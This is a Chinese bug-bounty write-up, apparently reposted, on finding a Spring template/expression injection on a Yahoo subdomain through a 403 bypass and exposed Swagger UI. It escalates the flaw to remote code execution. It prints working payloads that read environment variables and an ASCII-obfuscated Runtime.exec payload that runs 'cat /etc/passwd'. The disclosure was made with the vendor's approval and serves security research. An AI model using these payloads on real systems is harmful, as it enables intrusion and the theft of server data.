挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE

栏目: Java · 发布时间: 5年前

内容简介:最近在漏洞挖掘过程中发现了一个漏洞,之后提交给了雅虎的bug赏金计划,这篇文章我就来分享下是如何挖掘到此漏洞的。在测试Web应用程序的安全性时,信息收集是查找可能存在漏洞的Web资产的重要组成部分,因为可以发现可能会增加攻击面的子域,目录和其他资产。我首先使用在线工具,如shodan.io,censys.io,crt.sh,

最近在漏洞挖掘过程中发现了一个漏洞,之后提交给了雅虎的bug赏金计划,这篇文章我就来分享下是如何挖掘到此漏洞的。

在测试Web应用程序的安全性时,信息收集是查找可能存在漏洞的Web资产的重要组成部分,因为可以发现可能会增加攻击面的子域,目录和其他资产。我首先使用在线工具,如shodan.io,censys.io,crt.sh, dnsdumpster.com ,以及github上的脚本,如dirsearch,aquatone,massdns等这些 工具 进行子域名查找,在使用这些工具后,我发现了子域名 – datax.yahoo.com。这个子域名引起了我的兴趣,因为访问子域名根目录将重定向到 https://datax.yahoo.com/swagger-ui.html – 并在页面随后显示403错误。

挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE 然后我运行dirsearch脚本快速地扫描目录,以此来尝试发现网站隐藏的目录。我不确定具体结果是什么,但我注意到在向网址添加空格字符时,状态代码已从403更改为200, https://datax.yahoo.com/%20/ ,然后我看到了以下页面。

挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE

发现是swigger,经过查找发现swagger ui的主页上有api文档,并详细列出了所有可用的接口和请求参数。示例: https://dev.fitbit.com/build/reference/web-api/explore/

从这里开始,我作为未经身份验证的用户,想测试一些API接口,以此发现潜在的漏洞。经过几个接口测试后,我遇到了以下接口,它显示了这个white label error页面,其中我输入的参数值却出现在错误响应中:

挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE 注意到输入内容显示在页面中,随后我尝试了一些XSS payload,却无法在客户端成功执行javascript。最后当输入payload为${7*7}时,我惊讶地发现算术表达式已在响应中成功执行计算了。

挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE

令我惊讶的原因是因为乘法表达式已执行,以及语法中“$”字符竟然成功执行了表达式。这通常表明在处理表达式时服务器端使用了某种模板引擎。经过一番研究后,我对这台主机可能使用的模板引擎进行了一些猜测。在呈现Yahoo!到目前为止我发现的所有情况之后 ,我收到了雅虎安全团队的确认,使用的模板是Spring Engine Template,他们要求我试着看看我还能做些什么来进一步利用它。由于我只能用这个做基础数学,他们想看看我是否可以从服务器中提取一些数据,以便他们充分评估漏洞影响。最后发现${T(java.lang.System).getenv()} 可用于检索系统的环境变量。

挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE 然后,我尝试使用.exec方法执行命令“cat etc/passwd”,以使用.exec方法演示能够执行命令从服务器提取数据。payload: ${T(java.lang.Runtime).getRuntime().exec(‘cat etc/passwd’)},但是该命令原样输出在响应中,并且未执行。我不确定为什么它不起作用,但后来遇到了另一位研究员的博客文章 – http://deadpool.sh/2017/RCE-Springs/ ,他在那里使用 Java 的concat()方法来组合与命令中使用的字符相关联的ASCII值。下面的最终payload用于成功执行命令cat etc/passwd:

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

我不想包含能透露此文件内容的截图。但为了演示,我将使用相同的技术显示执行“id”命令的输出:

挖洞经验 | 通过SPRING ENGINE SSTI导致的雅虎RCE


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Data Structures and Algorithms with JavaScript

Data Structures and Algorithms with JavaScript

Michael McMillan / O'Reilly Media / 2014-2-22 / USD 28.51

If you’re using JavaScript on the server-side, you need to implement classic data structures that conventional object-oriented programs (such as C# and Java) provide. This practical book shows you how......一起来看看 《Data Structures and Algorithms with JavaScript》 这本书的介绍吧!

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具